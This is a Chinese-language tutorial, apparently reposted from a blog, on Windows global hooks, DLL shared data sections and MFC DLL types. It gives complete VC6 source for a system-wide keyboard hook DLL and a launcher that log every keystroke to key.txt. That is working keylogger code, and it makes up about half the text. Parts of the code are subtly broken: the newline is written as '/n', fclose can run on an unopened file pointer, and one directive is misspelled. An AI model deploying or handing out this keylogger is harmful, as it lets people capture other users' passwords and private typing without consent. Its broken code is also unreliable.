一個簡單的鍵盤鈎子程式
從哪兒抄來的忘了,不過寫的很簡單明了
實作适時監視鍵盤,并将按鍵資訊儲存在TXT檔案中的程式
Windows系統是建立在事件驅動的機制上的,說穿了就是整個系統都是通過消息的傳遞來實作的。而鈎子是Windows系統中非常重要的系 統接口,用它可以截獲并處理送給其他應用程式的消息,來完成普通應用程式難以實作的功能。鈎子的種類很多,每種鈎子可以截獲并處理相應的消息,如鍵盤鈎子 可以截獲鍵盤消息,外殼鈎子可以截取、啟動和關閉應用程式的消息等。本文在VC6程式設計環境下實作了一個簡單的鍵盤鈎子程式,并對Win32全局鈎子的運作 機制、Win32 DLL的特點、VC6環境下的MFC DLL以及共享資料等相關知識進行了簡單的闡述。
一.Win32全局鈎子的運作機制
鈎子實際上是一個處理消息的程式段,通過系統調用,把它挂入系統。每當特定的消息發出,在沒有到達目的視窗前,鈎子程式就先捕獲該消息,亦即 鈎子函數先得到控制權。這時鈎子函數即可以加工處理(改變)該消息,也可以不作處理而繼續傳遞該消息,還可以強制結束消息的傳遞。對每種類型的鈎子由系統 來維護一個鈎子鍊,最近安裝的鈎子放在鍊的開始,而最先安裝的鈎子放在最後,也就是後加入的先獲得控制權。要實作Win32的系統鈎子,必須調用SDK中 的API函數SetWindowsHookEx來安裝這個鈎子函數,這個函數的原型是
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);
其中,第個參數是鈎子的類型;第二個參數是鈎子函數的位址;第三個參數是包含鈎子函數的子產品句柄;第四個參數指定監視的線程。如果指定确定的 線程,即為線程專用鈎子;如果指定為空,即為全局鈎子。其中,全局鈎子函數必須包含在DLL(動态連結庫)中,而線程專用鈎子還可以包含在可執行檔案中。 得到控制權的鈎子函數在完成對消息的處理後,如果想要該消息繼續傳遞,那麼它必須調用另外一個SDK中的API函數CallNextHookEx來傳遞 它。鈎子函數也可以通過直接傳回TRUE來丢棄該消息,并阻止該消息的傳遞。
二.Win32 DLL的特點
Win32 DLL與 Win16 DLL有很大的差別,這主要是由作業系統的設計思想決定的。一方面,在Win16 DLL中程式入口點函 數和出口點函數(LibMain和WEP)是分别實作的;而在Win32 DLL中卻由同一函數DLLMain來實作。無論何時,當一個程序或線程載入和 解除安裝DLL時,都要調用該函數,它的原型是
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);
其中,第一個參數表示DLL的執行個體句柄;第三個參數系統保留;這裡主要介紹一下第二個參數,它有四個可能的值:DLL_PROCESS_ATTACH(進 程載入),DLL_THREAD_ATTACH(線程載入),DLL_THREAD_DETACH(線程解除安裝),DLL_PROCESS_DETACH (程序解除安裝),在DLLMain函數中可以對傳遞進來的這個參數的值進行判别,并根據不同的參數值對DLL進行必要的初始化或清理工作。舉個例子來說,當 有一個程序載入一個DLL時,系統分派給DLL的第二個參數為DLL_PROCESS_ATTACH,這時,你可以根據這個參數初始化特定的資料。另一方 面,在Win16環境下,所有應用程式都在同一位址空間;而在Win32環境下,所有應用程式都有自己的私有空間,每個程序的空間都是互相獨立的,這減少 了應用程式間的互相影響,但同時也增加了程式設計的難度。大家知道,在Win16環境中,DLL的全局資料對每個載入它的程序來說都是相同的;而在Win32 環境中,情況卻發生了變化,當程序在載入DLL時,系統自動把DLL位址映射到該程序的私有空間,而且也複制該DLL的全局資料的一份拷貝到該程序空間, 也就是說每個程序所擁有的相同的DLL的全局資料其值卻并不一定是相同的。是以,在Win32環境下要想在多個程序中共享資料,就必須進行必要的設定。亦 即把這些需要共享的資料分離出來,放置在一個獨立的資料段裡,并把該段的屬性設定為共享。
三.VC6中MFC DLL的分類及特點
在VC6中有三種形式的MFC DLL(在該DLL中可以使用和繼承已有的MFC類)可供選擇,即 Regular statically linked to MFC DLL(标準靜态連結MFC DLL)和 Regular using the shared MFC DLL(标準動态連結MFC DLL)以及Extension MFC DLL(擴充 MFC DLL)。第一種DLL的特點是,在編譯時把使用的MFC代碼加入到DLL中,是以,在使用該程式時不需要其他MFC動态連結類庫的存在,但占用 磁盤空間比較大;第二種DLL的特點是,在運作時,動态連結到MFC類庫,是以減少了空間的占用,但是在運作時卻依賴于MFC動态連結類庫;這兩種DLL 既可以被MFC程式使用也可以被Win32程式使用。第三種DLL的特點類似于第二種,做為MFC類庫的擴充,隻能被MFC程式使用。
四.在VC6中全局共享資料的實作
在主檔案中,用#pragma data_seg建立一個新的資料段并定義共享資料,其具體格式為:
#pragma data_seg ("shareddata")
HWND sharedwnd=NULL;//共享資料
#pragma data_seg()
僅定義一個資料段還不能達到共享資料的目的,還要告訴編譯器該段的屬性,有兩種方法可以實作該目的(其效果是相同的),一種方法是在.DEF檔案中加入如下語句:
SETCTIONS
shareddata READ WRITE SHARED
另一種方法是在項目設定連結選項中加入如下語句:
/SECTION:shareddata,rws
五.具體實作步驟
由于全局鈎子函數必須包含在動态連結庫中,是以本例由兩個程式體來實作。
1.建立鈎子KeyboardHook.dll
(1)選擇MFC AppWizard(DLL)建立項目Mousehook;
(2)選擇MFC Extension DLL(共享MFC拷貝)類型;
(3)由于VC6沒有現成的鈎子類,是以要在項目目錄中建立KeyboardHook.h檔案,在其中建立鈎子類:
class AFX_EXT_CLASS CKeyboardHook : public CObject
{
public:
CKeyboardHook();//鈎子類的構造函數
virtual ~CKeyboardHook();//鈎子類的析構函數
public:
BOOL StartHook(); //安裝鈎子函數
BOOL StopHook();//解除安裝鈎子函數
};
(4)在KeyboardHook.cpp檔案的頂部加入#include "KeyboardHook.h"語句;
(5)在KeyboardHook.cpp檔案的頂部加入全局共享資料變量:
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安裝的滑鼠勾子句柄
HINSTANCE glhInstance=NULL; //DLL執行個體句柄
#pragma data_seg()
(6)在DEF檔案中定義段屬性:
SECTIONS
mydata READ WRITE SHARED
(7)在主檔案KeyboardHook.cpp的DllMain函數中加入儲存DLL執行個體句柄的語句:
glhInstance=hInstance;//插入儲存DLL執行個體句柄
(8)鍵盤鈎子函數的實作:
//鍵盤鈎子函數
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有鍵按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt","a+"); //輸出到key.txt檔案
if (wParam==VK_RETURN)
{
ch='/n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虛鍵代碼變為字元
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
(9)類CKeyboardHook的成員函數的具體實作:
CKeyboardHook::CKeyboardHook()
{
}
CKeyboardHook::~CKeyboardHook()
{
if(glhHook)
UnhookWindowsHookEx(glhHook);
}
//安裝鈎子并設定接收顯示視窗句柄
BOOL CKeyboardHook::StartHook()
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
return bResult;
}
//解除安裝鈎子
BOOL CKeyboardHook::StopHook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
(10)編譯項目生成KeyboardHook.dll。
2.建立鈎子可執行程式
(1)用MFC的AppWizard(EXE)建立項目KeyHook;
(2)選擇“基于對話應用”并按下“完成”鍵;
(3)在KeyHookDlg.h中加入包含語句#include "KeyboardHook.h";
(4)在KeyHookDlg.h中添加私有資料成員:
CKeyboardHook m_hook;//加入鈎子類作為資料成員
(5)連結DLL庫,即把../KeyboardHook.lib加入到項目設定連結标簽中;
(6)把OK按鈕ID改為ID_HOOK,寫實作代碼:
void CKeyHookDlg::OnHook()
{
m_hook.StartHook();
}
(7)關閉按鈕實作:
void CKeyHookDlg::OnCancel()
{
m_hook.StopHook();
CDialog::OnCancel();
}
(8)編譯項目生成可執行檔案;
運作生成的KeyHook.exe程式,按HOOK!按鈕,加載鈎子後按下鍵盤上的一些鍵,可以發現EXE目錄下自動生成了一個key.txt檔案,該檔案記載了你的按鍵資訊.